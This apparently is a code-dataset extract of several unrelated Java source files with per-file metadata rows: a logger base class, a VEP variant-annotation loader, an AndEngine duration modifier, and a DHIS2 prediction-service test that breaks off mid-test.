System.out.println("sum="+(a+b));
}
}
| 26.733333 | 78 | 0.680798 |
3806a789e6e05195710b6fe2f2a6b0e75d6807ec | 1,290 | package it.reply.workflowmanager.logging;
import com.google.common.base.Preconditions;
import org.slf4j.Logger;
public abstract class CustomLogger {
protected Logger logger;
protected String tag;
protected CustomLogger(Logger logger) {
this.logger = Preconditions.checkNotNull(logger);
}
public String getTag() {
return tag;
}
public void setTag(String tag) {
if (tag == null) {
this.tag = "";
} else {
this.tag = String.format("(%s) - ", tag);
}
}
public abstract boolean isTraceEnabled();
public abstract void trace(String message, Object... arguments);
public abstract void trace(Object obj);
public abstract boolean isDebugEnabled();
public abstract void debug(String message, Object... arguments);
public abstract void debug(Object obj);
public abstract boolean isInfoEnabled();
public abstract void info(String message, Object... arguments);
public abstract void info(Object obj);
public abstract boolean isWarnEnabled();
public abstract void warn(String message, Object... arguments);
public abstract void warn(Object obj);
public abstract boolean isErrorEnabled();
public abstract void error(String message, Object... arguments);
public abstract void error(Object obj);
}
| 22.241379 | 66 | 0.710853 |
c917599c06c35b9a7792bd8c26d17b1e74368e3e | 7,839 | package org.opencb.opencga.storage.core.variant.annotation;
import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.opencb.biodata.formats.annotation.io.VepFormatReader;
import org.opencb.biodata.models.variant.annotation.VariantAnnotation;
import org.opencb.cellbase.core.client.CellBaseClient;
import org.opencb.cellbase.core.lib.DBAdaptorFactory;
import org.opencb.cellbase.core.lib.api.variation.VariantAnnotationDBAdaptor;
import org.opencb.cellbase.core.lib.api.variation.VariationDBAdaptor;
import org.opencb.datastore.core.QueryOptions;
import org.opencb.opencga.storage.core.variant.adaptors.VariantDBAdaptor;
import org.opencb.opencga.storage.core.variant.io.json.VariantAnnotationMixin;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.net.URI;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.*;
import static org.opencb.opencga.lib.common.ExceptionUtils.getExceptionString;
/**
* Created by fjlopez on 10/04/15.
*/
public class VepVariantAnnotator implements VariantAnnotator {
private final JsonFactory factory;
private ObjectMapper jsonObjectMapper;
protected static Logger logger = LoggerFactory.getLogger(VepVariantAnnotator.class);
public VepVariantAnnotator() {
this.factory = new JsonFactory();
this.jsonObjectMapper = new ObjectMapper(factory);
jsonObjectMapper.addMixInAnnotations(VariantAnnotation.class, VariantAnnotationMixin.class);
}
public static VepVariantAnnotator buildVepAnnotator() {
return new VepVariantAnnotator();
}
private static void checkNull(String value, String name) throws VariantAnnotatorException {
if(value == null || value.isEmpty()) {
throw new VariantAnnotatorException("Missing value: " + name);
}
}
/////// CREATE ANNOTATION: empty. Vep annotation must be created beforehand by using VEP's cli and stored in a vep format file
@Override
public URI createAnnotation(VariantDBAdaptor variantDBAdaptor, Path outDir, String fileName, QueryOptions options) {
return null;
}
/////// LOAD ANNOTATION
@Override
public void loadAnnotation(final VariantDBAdaptor variantDBAdaptor, final URI uri, QueryOptions options) throws IOException {
final int batchSize = options.getInt(VariantAnnotationManager.BATCH_SIZE, 100);
final int numConsumers = options.getInt(VariantAnnotationManager.NUM_WRITERS, 6);
final int numProducers = 1;
ExecutorService executor = Executors.newFixedThreadPool(numConsumers + numProducers);
final BlockingQueue<VariantAnnotation> queue = new ArrayBlockingQueue<>(batchSize*numConsumers*2);
final VariantAnnotation lastElement = new VariantAnnotation();
executor.execute(new Runnable() { // producer
@Override
public void run() {
try {
int annotationsCounter = 0;
/** Open vep reader **/
VepFormatReader vepFormatReader = new VepFormatReader(Paths.get(uri).toFile().toString());
vepFormatReader.open();
vepFormatReader.pre();
/** Read annotations **/
List<VariantAnnotation> variantAnnotation;
while ((variantAnnotation = vepFormatReader.read()) != null) {
queue.put(variantAnnotation.get(0)); // read() method always returns a list of just one element
annotationsCounter++;
if (annotationsCounter % 1000 == 0) {
logger.info("Element {}", annotationsCounter);
}
}
for (int i = 0; i < numConsumers; i++) { //Add a lastElement marker. Consumers will stop reading when read this element.
queue.put(lastElement);
}
logger.debug("Put Last element. queue size = {}", queue.size());
vepFormatReader.post();
vepFormatReader.close();
} catch (InterruptedException e) {
logger.error(getExceptionString(e));
} catch (Exception e) {
logger.error(getExceptionString(e));
logger.error("Thread ends UNEXPECTEDLY due to an exception raising.");
try {
for (int i = 0; i < numConsumers; i++) { //Add a lastElement marker. Consumers will stop reading when read this element.
queue.put(lastElement);
}
logger.debug("Consumers were notified to finish.");
} catch (InterruptedException ie) {
logger.error("Another exception occurred when finishing.");
logger.error(getExceptionString(e));
}
}
}
});
for (int i = 0; i < numConsumers; i++) {
executor.execute(new Runnable() {
@Override
public void run() {
try {
List<VariantAnnotation> batch = new ArrayList<>(batchSize);
VariantAnnotation elem = queue.take();
while (elem != lastElement) {
batch.add(elem);
if (batch.size() == batchSize) {
variantDBAdaptor.updateAnnotations(batch, new QueryOptions());
batch.clear();
logger.debug("thread updated batch");
}
elem = queue.take();
}
if (!batch.isEmpty()) { //Upload remaining elements
variantDBAdaptor.updateAnnotations(batch, new QueryOptions());
}
logger.debug("thread finished updating annotations");
} catch (InterruptedException e) {
logger.error(getExceptionString(e));
} catch (Exception e) {
logger.error(getExceptionString(e));
logger.error("Thread ends UNEXPECTEDLY due to exception raising.");
}
}
});
}
executor.shutdown();
try {
executor.awaitTermination(Integer.MAX_VALUE, TimeUnit.SECONDS);
} catch (InterruptedException e) {
logger.error("annotation interrupted");
logger.error(getExceptionString(e));
} catch (Exception e) {
logger.error(getExceptionString(e));
logger.error("Thread executor ends UNEXPECTEDLY due to exception raising.");
executor.shutdown();
}
/** Join
try {
producerThread.join();
for (Thread consumerThread : consumers) {
consumerThread.join();
}
} catch (InterruptedException e) {
e.printStackTrace();
}
**/
// while (parser.nextToken() != null) {
// VariantAnnotation variantAnnotation = parser.readValueAs(VariantAnnotation.class);
//// System.out.println("variantAnnotation = " + variantAnnotation);
// batch.add(variantAnnotation);
// if(batch.size() == batchSize || parser.nextToken() == null) {
// variantDBAdaptor.updateAnnotations(batch, new QueryOptions());
// batch.clear();
// }
// }
}
}
| 43.55 | 147 | 0.581834 |
6ba287f6cedfb18a6a643391fbea1ec4bf8e8c3c | 2,913 | package org.andengine.util.modifier;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:48:13 - 03.09.2010
* @param <T>
*/
public abstract class BaseDurationModifier<T> extends BaseModifier<T> {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private float mSecondsElapsed;
protected float mDuration;
// ===========================================================
// Constructors
// ===========================================================
public BaseDurationModifier(final float pDuration) {
this.mDuration = pDuration;
}
public BaseDurationModifier(final float pDuration, final IModifierListener<T> pModifierListener) {
super(pModifierListener);
this.mDuration = pDuration;
}
protected BaseDurationModifier(final BaseDurationModifier<T> pBaseModifier) {
this(pBaseModifier.mDuration);
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Override
public float getSecondsElapsed() {
return this.mSecondsElapsed;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public float getDuration() {
return this.mDuration;
}
protected abstract void onManagedUpdate(final float pSecondsElapsed, final T pItem);
protected abstract void onManagedInitialize(final T pItem);
@Override
public final float onUpdate(final float pSecondsElapsed, final T pItem) {
if(this.mFinished){
return 0;
} else {
if(this.mSecondsElapsed == 0) {
this.onManagedInitialize(pItem);
this.onModifierStarted(pItem);
}
final float secondsElapsedUsed;
if(this.mSecondsElapsed + pSecondsElapsed < this.mDuration) {
secondsElapsedUsed = pSecondsElapsed;
} else {
secondsElapsedUsed = this.mDuration - this.mSecondsElapsed;
}
this.mSecondsElapsed += secondsElapsedUsed;
this.onManagedUpdate(secondsElapsedUsed, pItem);
if(this.mDuration != -1 && this.mSecondsElapsed >= this.mDuration) {
this.mSecondsElapsed = this.mDuration;
this.mFinished = true;
this.onModifierFinished(pItem);
}
return secondsElapsedUsed;
}
}
@Override
public void reset() {
this.mFinished = false;
this.mSecondsElapsed = 0;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| 27.481132 | 99 | 0.504291 |
7cbb501026e57822223ef6b4136d0d54fa34e31b | 26,814 | package org.hisp.dhis.predictor;
/*
* Copyright (c) 2004-2017, University of Oslo
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* Neither the name of the HISP project nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
import org.hisp.dhis.DhisTest;
import org.hisp.dhis.IntegrationTest;
import org.hisp.dhis.analytics.AggregationType;
import org.hisp.dhis.common.ValueType;
import org.hisp.dhis.dataelement.DataElement;
import org.hisp.dhis.dataelement.DataElementCategory;
import org.hisp.dhis.dataelement.DataElementCategoryCombo;
import org.hisp.dhis.dataelement.DataElementCategoryOption;
import org.hisp.dhis.dataelement.DataElementCategoryOptionCombo;
import org.hisp.dhis.dataelement.DataElementCategoryService;
import org.hisp.dhis.dataelement.DataElementService;
import org.hisp.dhis.dataset.DataSet;
import org.hisp.dhis.dataset.DataSetService;
import org.hisp.dhis.datavalue.DataValue;
import org.hisp.dhis.datavalue.DataValueService;
import org.hisp.dhis.expression.Expression;
import org.hisp.dhis.expression.ExpressionService;
import org.hisp.dhis.mock.MockCurrentUserService;
import org.hisp.dhis.organisationunit.OrganisationUnit;
import org.hisp.dhis.organisationunit.OrganisationUnitLevel;
import org.hisp.dhis.organisationunit.OrganisationUnitService;
import org.hisp.dhis.period.Period;
import org.hisp.dhis.period.PeriodType;
import org.hisp.dhis.user.CurrentUserService;
import org.joda.time.DateTime;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.Date;
import java.util.HashSet;
import java.util.Set;
import static com.google.common.collect.Sets.newHashSet;
import static org.hisp.dhis.expression.ExpressionService.SYMBOL_DAYS;
import static org.junit.Assert.assertEquals;
/**
* @author Lars Helge Overland
* @author Jim Grace
*/
public class PredictionServiceTest
extends DhisTest
{
@Autowired
private PredictionService predictionService;
@Autowired
private DataElementService dataElementService;
@Autowired
private OrganisationUnitService organisationUnitService;
@Autowired
private DataElementCategoryService categoryService;
@Autowired
private ExpressionService expressionService;
@Autowired
private DataValueService dataValueService;
@Autowired
private DataSetService dataSetService;
@Autowired
private CurrentUserService currentUserService;
private OrganisationUnitLevel orgUnitLevel1;
private DataElement dataElementA;
private DataElement dataElementB;
private DataElement dataElementC;
private DataElement dataElementD;
private DataElement dataElementX;
private DataElement dataElementY;
private DataElementCategoryOptionCombo defaultCombo;
private DataElementCategoryOptionCombo altCombo;
DataElementCategoryOption altCategoryOption;
DataElementCategory altDataElementCategory;
DataElementCategoryCombo altDataElementCategoryCombo;
private Set<DataElement> dataElements;
private OrganisationUnit sourceA, sourceB, sourceC, sourceD, sourceE, sourceF, sourceG;
private Set<DataElementCategoryOptionCombo> optionCombos;
private Expression expressionA;
private Expression expressionB;
private Expression expressionC;
private Expression expressionD;
private PeriodType periodTypeMonthly;
private DataSet dataSetMonthly;
// -------------------------------------------------------------------------
// Fixture
// -------------------------------------------------------------------------
@Override
public void setUpTest()
throws Exception
{
orgUnitLevel1 = new OrganisationUnitLevel( 1, "Level1" );
organisationUnitService.addOrganisationUnitLevel( orgUnitLevel1 );
dataElementA = createDataElement( 'A' );
dataElementB = createDataElement( 'B' );
dataElementC = createDataElement( 'C' );
dataElementD = createDataElement( 'D' );
dataElementX = createDataElement( 'X', ValueType.NUMBER, AggregationType.NONE );
dataElementY = createDataElement( 'Y', ValueType.INTEGER, AggregationType.NONE );
dataElementService.addDataElement( dataElementA );
dataElementService.addDataElement( dataElementB );
dataElementService.addDataElement( dataElementC );
dataElementService.addDataElement( dataElementD );
dataElementService.addDataElement( dataElementX );
dataElementService.addDataElement( dataElementY );
dataElements = new HashSet<>();
dataElements.add( dataElementA );
dataElements.add( dataElementB );
dataElements.add( dataElementC );
dataElements.add( dataElementD );
sourceA = createOrganisationUnit( 'A' );
sourceB = createOrganisationUnit( 'B' );
sourceC = createOrganisationUnit( 'C', sourceB );
sourceD = createOrganisationUnit( 'D', sourceB );
sourceE = createOrganisationUnit( 'E', sourceD );
sourceF = createOrganisationUnit( 'F', sourceD );
sourceG = createOrganisationUnit( 'G' );
organisationUnitService.addOrganisationUnit( sourceA );
organisationUnitService.addOrganisationUnit( sourceB );
organisationUnitService.addOrganisationUnit( sourceC );
organisationUnitService.addOrganisationUnit( sourceD );
organisationUnitService.addOrganisationUnit( sourceE );
organisationUnitService.addOrganisationUnit( sourceF );
organisationUnitService.addOrganisationUnit( sourceG );
periodTypeMonthly = PeriodType.getPeriodTypeByName( "Monthly" );
dataSetMonthly = createDataSet( 'M', periodTypeMonthly );
dataSetMonthly.addDataSetElement( dataElementA );
dataSetMonthly.addDataSetElement( dataElementB );
dataSetMonthly.addDataSetElement( dataElementC );
dataSetMonthly.addDataSetElement( dataElementD );
dataSetMonthly.addDataSetElement( dataElementX );
dataSetMonthly.addDataSetElement( dataElementY );
dataSetMonthly.addOrganisationUnit( sourceA );
dataSetMonthly.addOrganisationUnit( sourceB );
dataSetMonthly.addOrganisationUnit( sourceC );
dataSetMonthly.addOrganisationUnit( sourceD );
dataSetMonthly.addOrganisationUnit( sourceE );
dataSetMonthly.addOrganisationUnit( sourceG );
dataSetService.addDataSet( dataSetMonthly );
DataElementCategoryOptionCombo categoryOptionCombo = categoryService.getDefaultDataElementCategoryOptionCombo();
defaultCombo = categoryService.getDefaultDataElementCategoryOptionCombo();
altCategoryOption = new DataElementCategoryOption( "AltCategoryOption" );
categoryService.addDataElementCategoryOption( altCategoryOption );
altDataElementCategory = createDataElementCategory( 'A', altCategoryOption );
categoryService.addDataElementCategory( altDataElementCategory );
altDataElementCategoryCombo = createCategoryCombo( 'Y', altDataElementCategory );
categoryService.addDataElementCategoryCombo( altDataElementCategoryCombo );
altCombo = createCategoryOptionCombo( 'Z', altDataElementCategoryCombo, altCategoryOption );
optionCombos = new HashSet<>();
optionCombos.add( categoryOptionCombo );
optionCombos.add( altCombo );
categoryService.addDataElementCategoryOptionCombo( altCombo );
expressionA = new Expression(
"AVG(#{" + dataElementA.getUid() + "})+1.5*STDDEV(#{" + dataElementA.getUid() + "})", "descriptionA" );
expressionB = new Expression( "AVG(#{" + dataElementB.getUid() + "." + defaultCombo.getUid() + "})", "descriptionB" );
expressionC = new Expression( "135.79", "descriptionC" );
expressionD = new Expression( SYMBOL_DAYS, "descriptionD" );
expressionService.addExpression( expressionA );
expressionService.addExpression( expressionB );
expressionService.addExpression( expressionC );
expressionService.addExpression( expressionD );
Set<OrganisationUnit> units = newHashSet( sourceA, sourceB, sourceG );
CurrentUserService mockCurrentUserService = new MockCurrentUserService( true, units, units );
setDependency( predictionService, "currentUserService", mockCurrentUserService, CurrentUserService.class );
}
@Override
public boolean emptyDatabaseAfterTest()
{
return true;
}
@Override
public void tearDownTest()
{
setDependency( predictionService, "currentUserService", currentUserService, CurrentUserService.class );
}
// -------------------------------------------------------------------------
// Supportive methods
// -------------------------------------------------------------------------
private Period makeMonth( int year, int month )
{
Date start = getDate( year, month, 1 );
Period period = periodTypeMonthly.createPeriod( start );
Date end = getDate( year, month, period.getDaysInPeriod() );
return createPeriod( periodTypeMonthly, start, end );
}
private Date monthStart( int year, int month )
{
DateTime starting = new DateTime( year, month, 1, 0, 0 );
return starting.toDate();
}
private void useDataValue( DataElement e, Period p, OrganisationUnit s, Number value )
{
dataValueService.addDataValue( createDataValue( e, p, s, value.toString(), defaultCombo, defaultCombo ) );
}
private String getDataValue( DataElement dataElement, DataElementCategoryOptionCombo combo, OrganisationUnit source, Period period )
{
DataValue dv = dataValueService.getDataValue( dataElement, period, source, combo, defaultCombo );
if ( dv != null )
{
return dv.getValue();
}
return null;
}
private void setupTestData()
{
useDataValue( dataElementA, makeMonth( 2001, 6 ), sourceA, 5 );
useDataValue( dataElementA, makeMonth( 2001, 7 ), sourceA, 3 );
useDataValue( dataElementA, makeMonth( 2001, 8 ), sourceA, 8 );
useDataValue( dataElementA, makeMonth( 2001, 9 ), sourceA, 4 );
useDataValue( dataElementA, makeMonth( 2001, 10 ), sourceA, 7 );
useDataValue( dataElementA, makeMonth( 2002, 6 ), sourceA, 8 );
useDataValue( dataElementA, makeMonth( 2002, 7 ), sourceA, 4 );
useDataValue( dataElementA, makeMonth( 2002, 8 ), sourceA, 10 );
useDataValue( dataElementA, makeMonth( 2002, 9 ), sourceA, 5 );
useDataValue( dataElementA, makeMonth( 2002, 10 ), sourceA, 7 );
useDataValue( dataElementA, makeMonth( 2003, 5 ), sourceA, 9 );
useDataValue( dataElementA, makeMonth( 2003, 6 ), sourceA, 11 );
useDataValue( dataElementA, makeMonth( 2003, 7 ), sourceA, 6 );
useDataValue( dataElementA, makeMonth( 2003, 8 ), sourceA, 7 );
useDataValue( dataElementA, makeMonth( 2003, 9 ), sourceA, 9 );
useDataValue( dataElementA, makeMonth( 2003, 10 ), sourceA, 10 );
useDataValue( dataElementB, makeMonth( 2003, 6 ), sourceA, 1 );
useDataValue( dataElementB, makeMonth( 2003, 7 ), sourceA, 1 );
useDataValue( dataElementB, makeMonth( 2003, 8 ), sourceA, 1 );
useDataValue( dataElementB, makeMonth( 2003, 9 ), sourceA, 1 );
useDataValue( dataElementB, makeMonth( 2003, 10 ), sourceA, 1 );
useDataValue( dataElementA, makeMonth( 2004, 5 ), sourceA, 4 );
useDataValue( dataElementA, makeMonth( 2004, 6 ), sourceA, 8 );
useDataValue( dataElementA, makeMonth( 2004, 7 ), sourceA, 4 );
useDataValue( dataElementA, makeMonth( 2004, 8 ), sourceA, 7 );
useDataValue( dataElementA, makeMonth( 2004, 9 ), sourceA, 5 );
useDataValue( dataElementA, makeMonth( 2004, 10 ), sourceA, 6 );
useDataValue( dataElementB, makeMonth( 2003, 5 ), sourceC, 1 );
useDataValue( dataElementB, makeMonth( 2003, 6 ), sourceC, 1 );
useDataValue( dataElementB, makeMonth( 2003, 7 ), sourceC, 1 );
useDataValue( dataElementB, makeMonth( 2003, 5 ), sourceE, 1 );
useDataValue( dataElementB, makeMonth( 2003, 6 ), sourceE, 1 );
useDataValue( dataElementB, makeMonth( 2003, 7 ), sourceE, 1 );
useDataValue( dataElementB, makeMonth( 2003, 5 ), sourceF, 1 );
useDataValue( dataElementB, makeMonth( 2003, 6 ), sourceF, 1 );
useDataValue( dataElementB, makeMonth( 2003, 7 ), sourceF, 1 );
useDataValue( dataElementB, makeMonth( 2003, 9 ), sourceF, 1 );
useDataValue( dataElementB, makeMonth( 2003, 10 ), sourceF, 1 );
useDataValue( dataElementA, makeMonth( 2001, 6 ), sourceC, 6 );
useDataValue( dataElementA, makeMonth( 2001, 7 ), sourceC, 4 );
useDataValue( dataElementA, makeMonth( 2001, 8 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2001, 9 ), sourceC, 4 );
useDataValue( dataElementA, makeMonth( 2001, 10 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2002, 6 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2002, 7 ), sourceC, 4 );
useDataValue( dataElementA, makeMonth( 2002, 8 ), sourceC, 11 );
useDataValue( dataElementA, makeMonth( 2002, 9 ), sourceC, 5 );
useDataValue( dataElementA, makeMonth( 2002, 10 ), sourceC, 6 );
useDataValue( dataElementA, makeMonth( 2003, 5 ), sourceC, 10 );
useDataValue( dataElementA, makeMonth( 2003, 6 ), sourceC, 10 );
useDataValue( dataElementA, makeMonth( 2003, 7 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2003, 8 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2003, 9 ), sourceC, 8 );
useDataValue( dataElementA, makeMonth( 2003, 10 ), sourceC, 9 );
useDataValue( dataElementA, makeMonth( 2004, 5 ), sourceC, 5 );
useDataValue( dataElementA, makeMonth( 2004, 6 ), sourceC, 9 );
useDataValue( dataElementA, makeMonth( 2004, 7 ), sourceC, 6 );
useDataValue( dataElementA, makeMonth( 2004, 8 ), sourceC, 7 );
useDataValue( dataElementA, makeMonth( 2004, 9 ), sourceC, 6 );
useDataValue( dataElementA, makeMonth( 2004, 10 ), sourceC, 5 );
useDataValue( dataElementA, makeMonth( 2001, 6 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2001, 7 ), sourceE, 1 );
useDataValue( dataElementA, makeMonth( 2001, 8 ), sourceE, 3 );
useDataValue( dataElementA, makeMonth( 2001, 9 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2001, 10 ), sourceE, 1 );
useDataValue( dataElementA, makeMonth( 2002, 6 ), sourceE, 3 );
useDataValue( dataElementA, makeMonth( 2002, 7 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2002, 8 ), sourceE, 1 );
useDataValue( dataElementA, makeMonth( 2002, 9 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2002, 10 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2003, 5 ), sourceE, 4 );
useDataValue( dataElementA, makeMonth( 2003, 6 ), sourceE, 4 );
useDataValue( dataElementA, makeMonth( 2003, 7 ), sourceE, 3 );
useDataValue( dataElementA, makeMonth( 2003, 8 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2003, 9 ), sourceE, 2 );
useDataValue( dataElementA, makeMonth( 2003, 10 ), sourceE, 1 );
useDataValue( dataElementA, makeMonth( 2004, 5 ), sourceE, 5 );
useDataValue( dataElementA, makeMonth( 2004, 6 ), sourceE, 7 );
useDataValue( dataElementA, makeMonth( 2004, 7 ), sourceE, 5 );
useDataValue( dataElementA, makeMonth( 2004, 8 ), sourceE, 4 );
useDataValue( dataElementA, makeMonth( 2004, 9 ), sourceE, 4 );
useDataValue( dataElementA, makeMonth( 2004, 10 ), sourceE, 3 );
useDataValue( dataElementA, makeMonth( 2001, 6 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2001, 7 ), sourceF, 2 );
useDataValue( dataElementA, makeMonth( 2001, 8 ), sourceF, 4 );
useDataValue( dataElementA, makeMonth( 2001, 9 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2001, 10 ), sourceF, 2 );
useDataValue( dataElementA, makeMonth( 2002, 6 ), sourceF, 4 );
useDataValue( dataElementA, makeMonth( 2002, 7 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2002, 8 ), sourceF, 2 );
useDataValue( dataElementA, makeMonth( 2002, 9 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2002, 10 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2003, 5 ), sourceF, 5 );
useDataValue( dataElementA, makeMonth( 2003, 6 ), sourceF, 5 );
useDataValue( dataElementA, makeMonth( 2003, 7 ), sourceF, 4 );
useDataValue( dataElementA, makeMonth( 2003, 8 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2003, 9 ), sourceF, 3 );
useDataValue( dataElementA, makeMonth( 2003, 10 ), sourceF, 2 );
useDataValue( dataElementA, makeMonth( 2004, 5 ), sourceF, 6 );
useDataValue( dataElementA, makeMonth( 2004, 6 ), sourceF, 8 );
useDataValue( dataElementA, makeMonth( 2004, 7 ), sourceF, 6 );
useDataValue( dataElementA, makeMonth( 2004, 8 ), sourceF, 5 );
useDataValue( dataElementA, makeMonth( 2004, 9 ), sourceF, 5 );
useDataValue( dataElementA, makeMonth( 2004, 10 ), sourceF, 4 );
}
// -------------------------------------------------------------------------
// Prediction tests
// -------------------------------------------------------------------------
@Test
@Category( IntegrationTest.class )
public void testPredictWithCategoryOptionCombo()
{
useDataValue( dataElementB, makeMonth( 2001, 6 ), sourceA, 5 );
Predictor p = createPredictor( dataElementX, defaultCombo, "A", expressionB, null,
periodTypeMonthly, orgUnitLevel1, 1, 0, 0 );
assertEquals( 1, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2001, 8 ) ) );
assertEquals( "5.0", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 7 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictSequential()
{
setupTestData();
Predictor p = createPredictor( dataElementX, defaultCombo, "PredictSequential",
expressionA, null, periodTypeMonthly, orgUnitLevel1, 3, 1, 0 );
assertEquals( 8, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2001, 12 ) ) );
assertEquals( "5.0", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 8 ) ) );
assertEquals( "5.5", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 9 ) ) );
assertEquals( "9.25", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 10 ) ) );
assertEquals( "9.0", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 11 ) ) );
assertEquals( "11.0", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 8 ) ) );
assertEquals( "12.0", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 9 ) ) );
assertEquals( "15.75", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 10 ) ) );
assertEquals( "15.25", getDataValue( dataElementX, defaultCombo, sourceB, makeMonth( 2001, 11 ) ) );
// Make sure we can do it again.
assertEquals( 8, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2001, 12 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictSeasonal()
{
setupTestData();
Predictor p = createPredictor( dataElementX, altCombo, "GetPredictionsSeasonal",
expressionA, null, periodTypeMonthly, orgUnitLevel1, 3, 1, 2 );
assertEquals( 100, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2005, 12 ) ) );
assertEquals( "5.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 8 ) ) );
assertEquals( "5.5", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 9 ) ) );
assertEquals( "7.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2003, 1 ) ) );
assertEquals( "8.75", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2003, 3 ) ) );
assertEquals( "10.94", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2004, 7 ) ) );
assertEquals( "10.85", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2004, 8 ) ) );
// This value is derived from organisation units beneath the actual *sourceB*.
assertEquals( "18.14", getDataValue( dataElementX, altCombo, sourceB, makeMonth( 2004, 7 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testGetPredictionsSeasonalWithOutbreak()
{
setupTestData();
String auid = dataElementA.getUid();
Predictor p = createPredictor( dataElementX, altCombo, "GetPredictionsSeasonalWithOutbreak",
new Expression( "AVG(#{" + auid + "})+1.5*STDDEV(#{" + auid + "})", "descriptionA" ),
new Expression( "#{" + dataElementB.getUid() + "}", "outbreak" ),
periodTypeMonthly, orgUnitLevel1, 3, 1, 2 );
assertEquals( 99, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2005, 12 ) ) );
assertEquals( "5.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 8 ) ) );
assertEquals( "5.5", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2001, 9 ) ) );
assertEquals( "7.0", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2003, 1 ) ) );
assertEquals( "8.75", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2003, 3 ) ) );
assertEquals( "10.09", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2004, 7 ) ) );
assertEquals( "10.1", getDataValue( dataElementX, altCombo, sourceA, makeMonth( 2004, 8 ) ) );
// This value is derived from organisation units beneath the actual *sourceB*.
assertEquals( "15.75", getDataValue( dataElementX, altCombo, sourceB, makeMonth( 2004, 7 ) ) );
}
@Test
@Category( IntegrationTest.class )
public void testPredictConstant()
{
setupTestData();
Predictor p = createPredictor( dataElementX, defaultCombo, "PredictConstant",
expressionC, null, periodTypeMonthly, orgUnitLevel1, 0, 0, 0 );
assertEquals( 6, predictionService.predict( p, monthStart( 2001, 7 ), monthStart( 2001, 9 ) ) );
assertEquals( "135.8", getDataValue( dataElementX, defaultCombo, sourceA, makeMonth( 2001, 7 ) ) );
